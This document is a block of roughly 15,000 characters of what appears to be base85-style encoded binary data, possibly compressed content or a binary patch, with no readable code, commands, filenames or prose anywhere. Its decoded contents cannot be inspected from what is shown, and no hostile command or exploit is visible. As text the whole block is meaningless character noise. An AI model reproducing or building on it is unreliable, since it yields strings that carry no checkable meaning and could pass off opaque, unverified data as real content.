zP;t$BD8%@F{7gLhei?pR+s}m6B5_2+G%(>*>LkTIk0X2Ry9c+nyYeVYp*uagt90k0 zAL}o=*x{+*Q+l21UVl4TcF@?d_y~Jomk-HD4{*;L>joxNC%6ht;|h$T(~WgSProDJ zX^DMPMu1Xjh{rxjM72I{CdjCfj7!nfIaL3`!~u}&jYH@@;8XA=AV$f>q!ywG!nP;B zkw_=NvzH00<8sgpaEy08ftf%u16FEewe^BQ5!Iy|KayT1|M+sA;4v{WEYowaw$IRDCMlekuFzSd<=HPrE|(6sgI~@Gmsy%+zNG zDRX%MtA;+Yt}=TgnlW0M1CH5enmhG0;LcQFB)~kt6S{dNH6?XH^oVhyNqteS7KR+P zu>5&Icq}8GuCn-yDe=N=3z~BYjr)D>%6gKmak6P#A+y`S$Do^JGW{#e!1rM0M$o7% zy*++}k^^NJ=c+GZgK+;a6>2p9T-y*goZyrKVVJ3@G-n`fgV6ilZkk}IVbba^LXn6TBy*-hfQCeOM*iN6zedHh&GAB0^1ghEV*=L zGUp#LPjSd#0-B5zboHFovK^daNjuPV1jfR;AffUv^hG_Z?-AC&S_xW>i0TaGy;2=K z<^-Ii1WLZp!Bm{V^S*b6q2fzcMqMv$+8^+njXX;qv(ha-BQ+H6k*q+PweAccyUef9 zrovq8jIibKp%#1brEC)u+(NTBd4*Tyru0ZvR+vOu(vm618`SD@dUQJ@p$mI8(7GhR#*u2rN7`_Q@> z!wBO@!fM$hn$wp)Ykm1`>%3Rk>Zq3?9i2rv?rNbBsIalUKfG0PNK!Of@(Rb=d^~-i zkaSjU!GiLz;QKFF57WA*drjqArElGLThJKO8WOYEmM_a>VgHqs!xN&Km70tm7$dvc2|{09Bt{W-nA(BiKI22QyRQ)hgz*^Hc=qe%W1$-GJmw|w(w>k=1~ zX<{2I)9_Uuz-v0~KR?BW+(_w>QCGKB({138GGjua)7M*-q%beNq%IO2!Y&m*mRm^M z6p94xm<^EFGuc{|uJO!t-Ik-h#jR^5&CWsk)WQ;STj`~T{Auj$C(1pIdSy~FE+OOJDo$+M3(t0^kk90Zaic-GclB_+)5 zA;j%W!=Fb=ci_KfWqRpiY#e^x>oZoY{3-z|dJ&isw*H5=hnfO%0zgbf=>LY%QKqgj z2n$vy2Loy^7UKGVYGa=+*h}zET~=|8-rb8H21?|$C+NAxR{(|kT@xd?P$zrIF|NQN zG)?YaDvhI~7$|bMHQhTE{Utqe*o{$Uk0}&`IdMz9FDq_C`#f@g>z&F)FjICi!!)B; z`m8-taV;IPsYR`s8L^Lg*8bJk-5_oM6@g^z6cYv_nM|YUz3v{fbnr&1j0v?@GwjBM zT!2INVuwANBe+%uTw_g_QRCfZiXPPNhY43Qug4WksE@E^u1#0_3Yr+UCHLH6SGN}g zV#*+43XaKP&lq!1M*q>wl)|bihUeyJkmh(s5yYv1;R?k}#T-v)g90SYctX7vSdQ1! zK{LW$55fnCSw$~W$LiJO<1Jw?Qi;W_FUJ!nGn}a7MRmS_KSw+>@NrVFuT#gX!^i7i zyd*$g3%e&vil9ZslL@Qi_FgA=KaVR;j-QKF1$Jcr%SCF3*+a>c~Pw(2i z#N_f9rjEfMy-A-|L(GZ+J_ILO-Vj^gb-g3bP@g64v(pO9gx=4ki1GzV%1!=Y)jb;%Vo!awlxG=UY&J151#wmj5GF1`g;v7p#O&n&S}_ z$AjQBBah)P!KVbAWBJ{7?4mxg+~;0`?Y}tRmd-JkNPhBXeUdNF^9u%Le?)b`w-}(b z$RR>>(Xivs-X8E&1hf$x_{dgz95+x)1i}Li6wMA0Y3HClKjwbxFOn9ZXc@>!9k7C9 zf+(Mi@s$$l4}A8FEfHF3@gzvn79`PmE@J54Ny(x7F-WzS!QSPP{5_QHU*1nxti z$ur=hf3 z4X{Bp0lJ}@c>eSwp3nP3!d^-GEt>m&v&l`XJqm&ox{{eN;#G#ok zvEIq+7$1YZ522Z#B@i{! zLw}*Wv-Aop&%yJiU#fyNh!^Y{`nHVcG2cwAnsgu0kVObA9X7y7o_Lt(Cri81VUA z{c3OEAw2Ly*yu+(iSvmC91#&ug3arEc8$(kj))0!&|n1tN$|J-@b2PffUH9vd#^ph zjypDd!p>fQ=LBE~yuJy;=$K)+*2umM@rgH zyrYl&rkWt>ak|5o;*toKN@iN7YpEP$)bcrH;!piCSS9O`qJS(LM!&Ia+AX*_$Br`M zXXy!Iw)aiz@Vo%IW0GF_j4F@<8%?M{N)(swN~SsIsB%)U!<2b54(G%}g7`ajAaQUb zmPsRCu_ZO9$oSK1F&A&b-!4f^_%Rt_IkL__z>MA#9m^}NN|9prI~sH?stI5ry`7V~ zJJm!QWk^O2UFi*a+c1H0G@QM4aE&Wi=fdmpbK)cl;I!UX8-Dd<37r4D`9ja^mn5uN zHRhV+Zzu40lAp55w_VeL7}Lo_g8l+U`a(85uV+uw$Y}bw4H5VXvCV#GkOxXfiAzJ`;l&`eAS@mH=CICAwHlXlpJhyP-d{TB% zFm*zn6`822C-@sjjn*W%#nB=zOrj6xtld=Q>FZZ1hd2Y%gsj6525y{ z+;6@#;m)j&vmwfbg+aXQ=6`WK@vbS--&+XX`tScCH20%zz>9;1^Q(GOIFQDYyUoYD$DK(Gx$vr{5mY&}N z5ABMk(x!X|BNtq2&c5pAQ9K^ejx%Os%V8oAfBq;N#$*IL5Oju3pGP@3Q|5l!8D+1O zolIidBqZ(GyWtGLnO(ycuaKBHLJ%1S74Jjxs2oV;UQB@B8JEjJ$6Xa_!0tqbf}N|( z&4;V&=7Fz*q4Nr!VkTo%aeIl!waOoNkg@TE@?h+j2}J(e2ul&RHEb05uw z7@E|ZJpKYiZO&$%;t=Y`?yBSy88TedmkgB&GPQ!{-n-Y=z<~QYj2yFmW0EPZNuDOP z%LZ{c#g*Dh6#8GDgJEk64zgYcs`0Yqv`k3a$B9IA7y;`zoa_d0nDHle^Uq81&V)LA zPR=TY z;Dv;6#IO8mXQs`7<;-eh_nEPF%UB*4S!F9uXVI#AZNVFU0aK)_3Bt*^?CkKfxyx-1 zw4SQBTI`rYPRA~>C5!Lj%cPgS2g2&Lg`gz)H!q>JqK%hRWST6@-v`2w#!d0kn37xC zfzTiumT3`5J5WPv5C3q|jD&c)m-fpaJl`SX*MxQNegaQkZqNsO7zbsok|it$J(s03*Uqr#;NbO&mf>d3PKtL+j6vCsI?v$xxv+clyW@TMeE}7< zi#kqww67t@`TVnj@o^QVgQY}5b2qIrG5gUYOZpYtNxLsdM05#(H0czNv6s0ML^8mx za#a3FW*veiNy^q{o~gxMxZVr&SkrG@+`MyX_zl71Kb`$$QdGI%h@iUa=EAlrxn}+9 z_pl)kuN&bI0ng75Wg3N+mNCiGrkYC!t^%|sRzhs$#95v>mfsB~EtBvB6j7y_n29o? zwDwQE5=DxSeFhjzqMz3Xf8Vn{@Z(75!*}Kz*k;Vj*n2t8r)zF%U2|}0N#8r7bKIC{ zi6f9*k1K@0(3be)**|oBx6V?heuJ8Fdl86@$Nl}u2Nmg|F4_!!IMMzzw(j}5M15sCS7usV(sBEI0cy;1hOfnXk9>yrE}g?|1@ zahoAwOFR2`RBZJM-E@5aCi}Q(&t0`59ccEi$7Rc@TvM?-+PoKjH59VkppT>&@l(v3 zbzB_8OD`vXpm=oJGU9Kn4SZR(;d#+?@%T|mUC<-(l^pl+o{#S9S}I&yhxQa-Tk8_z zKZ@i&n`D9wCr;B8waHpKUrF1Q$o8Iz#6|Li>0MJ&l#@rKSo3JBB`-Wx9m_{;ip)NO2FR?%y+FKJvhR*1udv1UE^Zk*~a{r_{4XEG{;p z;ARhYw%#^r4&OIQsEUj;^b*$oEqMW;8cI-r5{~+&6z-hL9smk6HHMPTmZ?*W%nKv( zZVj{vr0@bIhJTD00SuG?vNY6D$Tm@10C^ITu$IHjCJ?)+I%9LJgG0tY#;p-WUjU=H znj4*XfRUXeow1vgJ4MkbSer&ML=T7Bk*!Ukk8%RmYHmkbzj?12MG=Vnr8acTrAqP6 zj$*0ESjNto6G(E7A>_7mxltn1d~Ga&$I7nr&)arqQlcLGMik7(q(?A&18WQYhVP6A z(Hf+@pJQpm??;qSGL@*JFsi(7n1f50ed36=?7t7}oGLF`B5mRMq`j88LqC91<#s!@JO)Q~NHK8u@e!C` zW(3F|MNz=fHj$-zlO@jrkQf1a{03-MaB8U!Y4IBsR&i>1lPHm*A*yT)`*0|XK&O63 zI|>Qi;Y8fR5ukEf-B>cjC&*@*#y(b0s{H8rkao!qq{vb41fcWV$dCy>M$LAcRAwfu zH8H7X)X&NAV#s_&v$pXyqW(LAh)YRRKeeeGp*3{BwqU`+6*RN1KlUB*w@jnS*a~k~ zd*Ze0OqMF=2yn1(8fQRNbXQC?Qd9?rN5Kgd`x#nb2LSfzhdYU_l~{azaB75+xZa{5 zGdl;foJt1YhpU`jpvI^S=kF;Mj3y-p2Xt=yJ5Um|&WW>D@?w6Iqfc|TN#L4xtlAji zs$zJ#fABCx%b05fE-7YL)jHk2nA5YDTer8uqj>>o=aR~m1(A45vA1JhGHbhK8Jy<) zVvF{A6_d{sq!6_ z)tqrcVxMyah+{!DHm$||-QUrqdQ@FG@h8)s`5>3y^tL<4&GACFfjX_5UFLY^?6QNC9wBw|OOSI!CK7^<$Ds#U2 z;`5xH#uJpO6@}AVA-Bx`_!dr;%pohqXjB6w**7=m@(?TLEWDjJNaIHGsl8@etJq(# zPT_acGa|8Y5g6Up0_GSrl^Hj3&;bto-{=IqC~ZDi8u{~(`Tj+Qm*r4}w@&NOj1kDx9APq& zISu%#vQEnEYWSK@9P{5~2fgvM?>TC28&Vf5&-!v?fZ=?73!m(Lr#0tB^{9N{jg#Bg z?fcXpX09ATbA0p>#9eu=WV(@5zN*GGJL4tuk_J-?a^>V5=~L%N=J7FVvtOp_`E|~# z6b_D-SSm2y?kiv3&2gh=`^&P3D5Qdqfnlg{%YHC}vjz()ak+X$p#@MSEuf)D|e!N zPgy+XM5~#$@L=jkg=6>GCPYS?oCR(sRVP0TdZdA-Vi4N+x^A9YK5IGTimchfco*{e z9J$wT9YBoIPJXo2TR7J$mzC{)&8XtU+5R%RQ!%*Gvo^=%dxo~R{kcS50zmi_knEwq|6wjevs+mEb@SxN^Q5BqbRMEiPOz~uU@@2&&NEL#g;%NzA`D4fUS}g@ zr^+J?9GO?p6>kx`kPRDm;qfhZx(0rH#Xj|1KRSGE3gkAukFb~6#;;+qcZz*6!%e#p zdQ$yH+!$Z?Dm098W{mXw+3!q~0x|q&eh|;&;RCT{5SpBXeNx%qYGkc=rHSnHY&ZE# z)%;OmeKnU#W1)K~`LD>YmRw&n)hNxKpd+ZwG37wIU3^w7@r)ygveAAW3%$?KNZw%r zjB(J4ULSZi&285Wdz01Y;+Rokn2j|*<4GMf0vb+F#lDZk9iKYYb6gwDXht>Wa>DeZ zwsQN(lSNy3S?G9KuOxzp&HA7+Grkr(itSyKtd3&Ho4V^Nqmgg&QV|d_Tz{C93N_(7 z^?tFG{|dz-wAFv**)N{tTy1YwzIhqQ>;$yxC-7!J|b7o15|xqN;z*I@PIvxt@{{Kq?n%r|83ga4y}z3U)#RFlJs)* zK6vLv8)8W2>eO)UWk!|ZC-c%Q^j&9r^e3qdHdF7D>)d@kt$>?s^?&9cD%`#wcnS!b z7~Sd7!XK15&Gx1A!xi7(IUYDrmyw&ppVkKnY4m%(b?B4khChQxLj z?J~7gTjQQkD%yn41dcx|Y{?v!ZR(hk9@B zZuPwHpn)%(2_E#N0G*NYca1+x-iyR*Y5{XOVokK~zSLI-a%T~-G#Gn!30_IQ`@6nT z7-E&()nRlz&JC=}u1t#9JsPXat3Mb|gA0a5HX7j%ns$RVqXghi0NE?wd}Y2txz@&i z%3Xh&i#Ffj{aA?lgjw*XJ{b?A-I5k90#IKJ-s2gv@Pam?=wQ4}JN7^swprMn>u++l>2yX_atq;pBUs%izb$v~5$g-GE7{rx}lz^Ly4* zq*|?;7e&S*-W~u8Fh0SdIz`T+m#@s}DA@#C%UjBoFc*MBkEin}4bzlC~LQ`mDnirM)Uj~XJ#oPjitB51z; zJ=Ts=_)v5x(o3eOc>Mk^rEo9x2;~Xulauk@gHM0Ar~d*;*r{rIcPk@i!W8#?dUphf zu1f!2J*1Ub1Fv5_+1HP{N$A~s>-#(8$$@s%W&XoecEoM_!$tO!J>ufCJ0xud9?3~B z?Uf=NAq!XAq{Nss8$b6)7Q^}R@RhA|)HZ=JG>niy*Ho=69w;-#g85k-brP|-Gv~4& zay*OC&RG`eUrL@(3TbI#_f1lJ>($tyAbLzSz^NS00!YiKp5~$n5mrdq*)vWsskQ7m zpnNzqt|H;l7R+ z*W5NTIrTP)H1w>v0#Vh_QHOR+k6>1S#YEwU2=4J*&o48kB9&jXEL&U_3(&ZW1| zeX)gGg|%0JpJ2c8ws85iW1pmm*|Eu_wmM6G{kT=V71Oed%Ecsy_OAKkbWU4H&iTtN zz;`ffj$GEs>Q(}bCX(c=m}(@9^*WrYsqo{-efdKs5tQH`&gc`%CMbtc!cDiFQNnL$ zV2>sICXejD-X&Ik@-`TL0*66WOFrJB=*|GFTHPY>Tg=EzZ#g1SY>*8FJ5!}QeE228 z$BL=?Im~Ks^s|KW_~n^8^^f-i!<2D@)0+EXTYh{AX`W3_6QmT1Vy`<|X0*#!=6?2x zxfRq5^Ldo%WBEScPwPr%=843y!#UFxrO0klbnt66eD(2@PV1+@WJ~BzgwKso z3n=%yIZOsyp3UX<5D*_75cs&(EmDg;YxWge#!8An5Oql zpJ$y~$&UYIQbS#6WlwHDI2l3f@G>=&-9B09p1>s+SNL-G<#U#P`2^dmX!xc&q{Cc{gsOih^_E75f`Hs+!r1lOt0&fv< z32!21DzOedvD>eT!S`1A$?<>sqQxJA>v0)X>9)*`o>*IdB5Tof+i86WFCp6Xs4RFv zd|C1b9v#SvIRuY*j4}B`V75#Z-5>LXJFEm7KVEOI`p5CBUaTu|)@-i&1(efD``&B2 zG~Wn161LB$M7$~L`LV38q;@kxfu~jnR0Lws0-zsNm7=%L$vo7sw!qJ=m3=`czJ>Wk z6m(TE)CUp|q9!DCmxq1DgpCk3m`5(9A-^wH>ohU&mgM2760Uok`$pQEEAt;u-gzaz zAimYW$^Q~9d-RPAzi12i7y0TjvMFAVcR4C+rp-yL@rhVjdW_*h^F34S6V{BmyG@OD zs>=o^KjUrY4{A^J%4d@)+;cCoV8ZglO-~_VphCRSxAz%)94ts(c=P?zW7-TFGX3j!*F9!jX$>VT?cVJpJ@=mXfbcOF^nx zHMgadjLLA-FmEoghsrsEVgIR3Z-eS@d2X)%ZhD>C3|{x^I0%qwjywEg9#=TI{<>?9 zdHMz9Jq|=ts9xx3N4!fR74L_5&wxU|ZsKXWl0UZcjm*#`iHZIFX*C%-kSr{%_?FFE8uoFPFB4Ga3w{Yd7oT&EJBgOI4_ULY!9T ziqo=N<|Ypy(^_A0<_ub4Jwhh0P7S_lp-UFI>g}K8J$xO^YatLz{HZR!+KiFwBWyn% z6(OP<6=h&c!SS|m1JjRac;ECF?3}(j)OZR>Fzvqpi^T$;+e3)62l=JSG$oJhRfd;_ z`s*4K2S#)m-Y#JuoivJvhb;!)=Cr9!HC|*OHZ|IA`uVueao@Y`)N18o)K8i+24cT6 z|N8f(jMz+9W7-j2yy2j^Y9fxbM$&peAJk6KG(1NsfA*sz41(-Al0A3fSje3YrBI?zO1~1+>uZiESg1>XLXF?jLeB5r&13 zif>io;jZ%OmTVcqL4|zs?uhYQ!X|FXs>iW7j~*6e7vIwu)V;LXe;r>%6ie(?V-v2# z7kc{TeN1z0xDaj|{N;R*Y3w`ga2&FgmBsjq;~JN`W6lE0+4W#pdzX-#Z}#mP3&~ZH zwAE3FS^hLuPx|fm$BrRn%Vh(-QsoInUS4LVglOKk`tHD9%7P*sA=l6WE9eldHD zwhjFOB(oGf%WCi5mVb~Pf36phO$^*q3Avqn4h0uKS>F~yDh-9q_?D-K{a|#t9SG^Y zj7f*>2+-b*SizzgT_5k;g~&_@JqxT42!GfS==e<}4Dl=ZuK-7y2e|TM>Q~FJ&2RP% zvR@up&akX+_Vq);NX8V;+vaauQ8Zq(xR*F59jE!EiDPkr?vWsCn)F(fw^`3w{zANI{eCtmPEiBwm03lQV`_gAq` z>{HQ)-><9wUKaXv^BJpsyF7ok$3`(dX@%HYA&y(9~+rL*IZSQv8 zKDqk98h5j?aliZo=lb{0`?8^H%(r?6h`}#MLFD^9#mrV4Qh3(JMG%jf| zF7?cvM&msMb%&YxeI!Dm+=xFpO+XCAec$jq5%E_M@mIMKnBPFOC<3ZRhY4apg7%E3 zY<&M(bNWR|hEn*38%d^5Nd)kPMos~@K+;)J((xId9Ry_m6mkfK>^DOG^g%YDkY5N= zA$I8ODcNEQ>5mlX9UI9;3iQ~QY{-{{tBDN1iGq2S1Sm$iilF=jC6P2B!#|@qMo@{J zQ3#z;e)gr*oTbziBRBAaoSjmyrcgN zM2tSuk3P4FzVM8`Sd5|Ek3qP)iJ|U{p-GIf)sOK*6Jw7UAI>J@kRQ`%6Vv1w)2tZt zXFulUCgxNJaL)fCq{sj-0Mek3|DTX*Eb5E=zX_?T**@TFrhkN#+vyM*mmIG`0ovD( zCWdN^6==S%n9P?6I9PLQ;=(0Vh#a%VKEfDeQJdOBT?5N!DiNhxg<7o#>cr;nJE>gR zDn2*hzaNo>5huV2snePVYrdiID>UaZh1%`)>s_H_6`$ig_%#;MZMOB{yn)&J$xSxXC&a-|H}`z9j}te z>fo(hR2j8D#(6Ou{yqUUCz#IK=&StPe`!iws%{f*z`eEf-ebBe$j|5PzYF4lG#Ggr zoHo8jV2+jV)Y_Pq97`crK_)WrP91JcKXE0Y5yfIbC}980TU~D*3R2kBBos*^HWPw^ zT#}k^M&o(6C==qh!1~d!7+!Yu%g3BiqWEEcCp!9yU+6^UhTS9(nsy)lN&sO+CQsN>ocXH3$iSXGx6nCum4uPSJIXVb28kh zdyZhnkL{~cb`t&UQi2}^*f07jlud>2WwEeWURCkJtN?#c%BiftN6H(kjr*&w;L*Z>V$5q} zsc(t4a+MyHQW2;IF2@v^tTY#h^m-myRKJ`|}CupZCA+-C=(&=H5g8TrO=aWL-*1 zigwf+yND>71f&F4UnmdB-QFBM`TP!-0d=Y+j(&%(IhQ+b&HQ_O{g7b>n#CM-^KjLj zia7n%F49pnPSGNXA`a~b8WWfUi_U7E5ls~7Dr|!IQg|SO%^8Qhu2n=J(ntm!JB^jC zT4J3dn1id)>LV=t%^;3IXYn(o{>pw9Wz|=dIUxQAgai|}BnKgEsgKB+9YiUriZf@G zLnVz;WVIycnCk-6<@qI?%edKck}E|(9>t|RaF8xU+X-5cFR zVl;rjziQaDPhZ-HWJe`%WB|%l9AkWDIcCi@LM2s~#J%%u@753q03}Z_#kjX449DX$W;-)0~i(j0Yi6jp566s8p6O1 zj>S=eN$|!(0(~PH_pl-5o*SePcqGF@QSQ=&vs7f`gcA!4e-j4;1(o7xFl|zMG_rb6 zAz8@vwhA;yl!Vbmkq*1(cx!9_$k^%!{jdXA_JehWRO|jEcqyITMJ}D-5p+`BU&DQ& z^edh!7MRD3B!fx}1Sk5TBy&9N&g9`@l^Sz=C9m;|}m5T^9UI^7K_WyZ+HM~HmU!%4UBO!cBC&8G87^J5K_$72wwoqC*46D zoz$_G$alukHNo+`P}%~)ioHlBR%%1zvy8EF9)Vnf^G@jcjk{d|wct6(NLZ0Q=mpKl zYf3Tg&s~>4^yH{wNhIJy^ACm%RoqoVCWLbfGs-x+Nd)g)bK6T-N=DlzmHSBjYlRNn zzE=c)p1O^d)U{;`X$Or888$gSq6{@;yTrV;dGFf1KoHU~JRb#DPZ>Vs4k>3uj(gYs zc&FloPn}_@#lWXI#OO#6p1$va66kog{-(`&-HCu8o?$i34+f%CY51j#ZPhp*!fjOnI@pxm0Q)8q=Nd1%`0e6>n$mxk+q&3qyp@%)$S!*Tm@G^5!c%UZkvOWN zOREo}jA-Fsk#-VXQsNd*kIZBmbCe7w$U7N~q{yggR%ed&pjO`QLhIJi0(PDUSt~$* zzrA&tW3wRkwi$7#2i$S$ku;%F+pp@s*%YmQDQiiA8ug;UGQCaSR7$(b)AbHMk}V}R zPmQt@pU9-5o;8(I)=mS$8Aw;!b z>$~4vsBID~z$P!q*&POjmR*>2vb4(Ru|YezJ)Xw!k1Sy(kJOIIKk-@xzb8(D1d^!s zyfFO?fp0ok{tjJ9ssGe%U*w1ubXtza2~nvH2lz3;^@n>uCnpy?dMW8hu40~Sa$4y< zI%LHi!9s|a#+S-C@f+5y=c>e6gcDP?1o3(aH_LPk*sqkyv?Tl!gFw_+> zh}IWbTl)QihYIkR?WKh5`uk^rJe#;28()AOl%(!)fsv`^|`?Mj6--p;W;YZVDm zSjSel#UFkR$g2m=T6w=9nSfuwDixO7zXnVRMK9L%1HeALuM!2{91K3~QRW4V*Zm55 z4gBxV!`z%*6WXr%l6w|7c!8 z9UO3>Wt2zRpkLY0m(kFpAFf;3k|!w0Qy1vnVnj@P#Bn?Nnl=Il9YopppX(#AH1?TQ zJNhX5KiH-!Am=~YO6aQqT23sG4f!JAlMnfg96uJ!j}7~njex_=<>v}~yS_0zCqX|tEckv2KxQcxE^mq?3O|0$i}gZe~u zVxf<7p4!Afp9V8qXvnCgL-`OGyUH-vG{=bDK#smwgj}EpPABm*BXA#^t1AyFnp@}r z!779R_ZhQZrm_W9NuLL@rdP$Kz!C^{NoZWDt8Qus$6_ErsxdB~Ab`Mty?`!3 zRuo498vlV4+MSgkYQ`$H36@6cHjQxfYs7Kx#d9i=K&a@%inKF$`5CqPj|m zq<_ZLl8o*=j&63Sl)NYoT+|FMilYeA`z8ZbYy`uhIKR1}(v9GsbgxfkUMoUz)HV|q zbCOH0p-Z8FlJ?i2rq`PUI4d$qA0(2L8o{SBy1%bp6SBQnyzyb1#mDv2!N*Mj_a&1k z0eMf^SgIpf<3J%xNxs{u`9l`Hl2CRSSV>f!=YxeoP#U*r5CwU%ZdnA;gP6MbGL+pH ztczq}Bge;M10`od^PMP2$U$`QC>_nn>rW8~)ijrMFS4dsR=Ti(g$R>xXr*GkK^P&Q zER?tkDuBW`6M_u*G7E+yxJ7mC+$cZ$0~%9+)^6mIdqBQD% zpB8qLjh0jb`s_nFH-WmEQFKdu!hVwBeCCW*XkLwUBQ#zvJ2YV#$_%j9I_}0oiU)&iT(Pv}IR0<1Ks(js z#~M)iT=EcFa%&6VP#Ixs5hT; zT^D$#1)>uwdi$@W9VGjrYS{pdkBl3Bk$LqE8qo%ZbQbo;$Ixp*fwXTSRc>@2B1ANy z4i_;P_Z;=H>a_S5a9DK$gKs^puNd@=Dc?H|WE_DQu?l->i)KEa9cGMyojsi8VDMGdgqv^}&^Iq!^m=XhtSRmx;m!?&vJxM*P z|G3we{HRG8i@2n!DOqtD3u-)!elNaUjp($NdQqQps|(R?Mjq6N`0CKfSN%(F5-Yuz z&?=`|EtJ2bKNE#2Z`#7N8=j6u2wJr0uSAGuF78pYRIKHE-<`wa* zi^gbW!;A7~hb}+jF)o(%d~`UHFpxt+HAMNHL|20|Lzx_7`=D4mju;r0-)3josI=K^ z#P|>J0S{!<8hKP)%Cy2Q^+m_K{)Pfz#MLd;*77r{5xbpS`K>IknmMiNpSr__E}G#y z@9|O@%CtL;^Ffsfo$bY)Ll489@VuTf`4%xi^Nx0}2ps$=qjo>PhYJeoss(M|^>Uo* zudTXV$%BYuGk8yX55|kRQ$XPrpbL*uqAJvu7S<`R_m&Yf6vgUP^KrQr<;>8z`UzCd zSjLyq%DmsR3?%#B?l&OOo#H8M=ckS=zSUZ9@KmD zQR%kVNub-}u#eRvME(Ovtq9DE#SUtNhRXUA-9wyL-VN6D$%X+Mjj^z9<{E9n#{&P3 z152ore=FZ2i0TDccS~TwqR;`icU_7|?8@QrogC=gv9Daa7xx`VL=;E*^dl$g6I?-8 z1oa7zZCHf@NAaO?(D7)PN+(|g3r4&{QFVU;+x0})4P{PzBsua!rx1?*Lj@a$TExhX zeE}1`L#6gaiZ0w#6%Bk zLOQ4kQkKXVjnW@79=!6LZY2S4bx$3V1SkQ9?7k*GK&#p{g=nbgeI3y<(wY_#gN5*Q4U6Hk9(%Pl^azaBqTMo813@0B}H$znj1` z8O97u&IBw{ER7Iln{Vq#jt3Bq;*^jE!3+l=4JG{<4Oaw1kk$vl)%J9eYyH;8WR7xe zj^r4j;aH92$d2`x*LfWTMu67&HUxUz)j=TFU$=CJBj%lsd zMj%e2x7B+sdR#4fMG%gP&Dj76j%&RHYdzO`&5q(U5E8@??O707-PH$R1a@!$oFEFS zkP5lI+q&J`yImK&tqQ0T+`e7hylvdb9o!Y6+z#<@jFJbYEf7jDkaIoP(rwz+o!zn> z*j??_vj6Sf;h1j?hux&T5$!pS)h*i%*Kh>UaNynD)_nl%{SZr_1mK5DHeY;9ue3t5OgsU=ld+&o7{T|9!D008JX6;YBPE zM<4?^>)}T1arQLCMJ&cM8MWz3;@Wor7w+N`Jy#1&;sU{rk}41xuHzGa1j!`E89tK( zegFe-0J+8w2f$ERyw1bwXEiVat?dL(Z~#*-6a4rxkvgLGM=3EX2YaZuQE)ZE@K6(D<2LO6|uIJa{1guHu zd;gBoXn-w$e&z;&=+}}3WDe;l-ROXR5QHuehMonQ-szccK9HX1SZ?W}&gq_R=~;g0 zZ{F!R@M{5^(U)oiM=%3OZP5d91XwJV3_SwZ%)MAln;z|tM*yS{O`GUk>->zWbUIBN zozV)o0>=ba8Qo{-oFAMV(8dnZ199X@?n~DU%>g110RqhuR0A+zrb_u1N_h~lG=EAd zxPdvi=C-7cxyyqa?}2H2gL^0Ve(waa10sL{@80iH^EtUx12+cm{vMco2^j=WD_Kc< z_TKL}HdigsdlT>POA&D;GVlxEDNFf=wCC{@AFWO#@B|O?D97&~pYI2-q@9xT@&CT@ zx46qF-|`%=BW_`Cpp)_#a8M54@~s&IOb7A`ADAM;Z2~X!b#?$OKr0Uagt?v}@)SG< zED+EP%>-efj8_1Z2F+|E$YJRs0)z-3SFxchY`N)6z!ry~lZ~MG2TNmQ`1|r}P^81!3{DH6hzyJU8!K?iR zG5cX}Pm(|RU=Q{=Fza-B{_KDLx5)bKAOAN_w3a{lE5QCK00c%5|NQ@k0O13M3W5a< z7Gwd#$Buyq4X%K=f?yFKBUG?p;m{$D12f%C0Yf+UUjIC?gv-UAKKVubi2#}TZD(ULrJ zHLGBrLkl-PocKVH7mjUm^%{8Z)|3=^dPa-m2#vfe9QP%n<3(M*D*s^2D1!NH!4x#+ zmehEWH_^fd!!G50V{XXZV~@c2SP&?36_yQ-tUVUF%C~JF`yk>Ft@M!ujZpWFF)TqG zL~2Cu3zQ_*liX9XJm50JjIqJ1r=$TZ|As3n1&Ib6%P9c|9LfmE5ESYL^ad>L0Qe|O zVJ!#^l50Z$ND4xR4Q)H%F9Sy;?!w?SI{=3fdt+?Gw4hpW#T8!Ith0m~3NED(A%c)6 z(`4kRhSng2AvPF*L@)*1Y*5j^p@OhM#I{IK0ZZY83eZ9bangZ^m_j-*xV4I_u_xYu zFha(-ir67ahgR@vGw3KZ$cTz$JRphpD8$MJ8|*s(zmzhFLH{o)a|-aqop3lY$P)R? z!ND|xOF=>_CCyDvhjXpRS70C$waKdoxJ-Ls}yP|FxY_8I&VCUY?4+%Wg8-? z2$Wn?IN%|GFz~Y;Gh{2P;1FA3zKJy^PrH#T_L#&Xa$t2~76==YWbgEn)xXbRsFgni z)w9gQ>y|tK$Dm^>@1W06*i43_2F$1|+g=S$H3^sYZ~ulMm{rthw46M^hWI{yIRzb3 z`U-}pLh4UiBnqS2AoYUY7D|f2z9>`{4BYp?e%Z7QP@IYg!Z4J#JAj8f=gj-O5$2W> zh4#EGXy1`=LJ8kP$HY!6h-6?4@5$+WYp@lDiYzd#mTKy=*BaJ!GPoj^;iIr>ix>#n zq8e+hj4W5FI+A=qb#~lm41P3UN&G7&$M8*0bI@CCUMZ~Twbga0n796^!hp7K$L0wS z4fN)QjUKMbaWK8M8N@7p{C1bGOb1(`x+x-nnObf7(e8(FOzy77N)UoDgC*&0N4`pd z4{{?o0RBgS48#oKcu+Bgac3lYvWV*3f|ZeQuK!*$G1~@JU=rRPY6hr*h}6uMH-6Ep zMW~qyv5a>Z6#zjeFvQ4JsD#6&3;~B2DS}gQ$P@u~t9%&g&-2QVlcFUt#BxV zvEhJ+1hc^pYlws&vYY-d!-64*@p`@@RzgN3m%wQ)Dw{h15#Hz)#~?veOH|2w#zR9vl~4mp zL`_a^5JJ?z;89vkDeUYX)tCg~X_$`XfB4A2z2VntZ) z#A`#eVIG(G#V`soDk|A!C@;yw1E`UWME`Ij4smvX9Gp=siwWjgl$nvL(14VlQAlL8 zn41`wZH9MLPatu~k#+HM1t^){+h(_yoLusqQW=zlcsMBDWuOMnJBwb-sZC>|(wVyf zP%Fu%O&Gw7qP6_tW*&OFBJ%JmLwF);1{F@!Q1OMu?3y?El9O@rl2l%4=09gL(Tq+L zlh%ac`UIj)8mvvFxEmV*SwI4rlJfuy^^9v2VihgwPCclpCl7yv!Wf_=sxU+X5R`(( z7!VYPE9hiFYfyriK6Fr3d7EQkAR%I^)t!d)Oj@pzIkl1{nx4r`NClHtOcLj=g3)Ct zbNI)tinB#sD{4|mLIhA!CS(oOCjW5~iOO~-C=X6XC2+F%= z#-O>PWdTRV_P^74kbuM)wQ(4Pp?g&A! zB{oYt-_S8;xP09v4K5N|afVT~M5q!TA>6&H6o!YyYOHgmB4a|{wyNWV@HkaqTkwW= zv)tLN9fL4I7L4b72#hImXw@7>Hg6BSa6QXa^2gmZtEZhmffr5Myk`(%l*GLJMLJP**s2Q470i&XusaUq&*rh}XFG@5GMlf!MTing@irXw{HlyYU zMTl^#53@cs)=ASz;oO(?tX6{2z`g&Ju?ohP;w-0H%`m7+mFRjH*;<7rZnhkcCw=2o 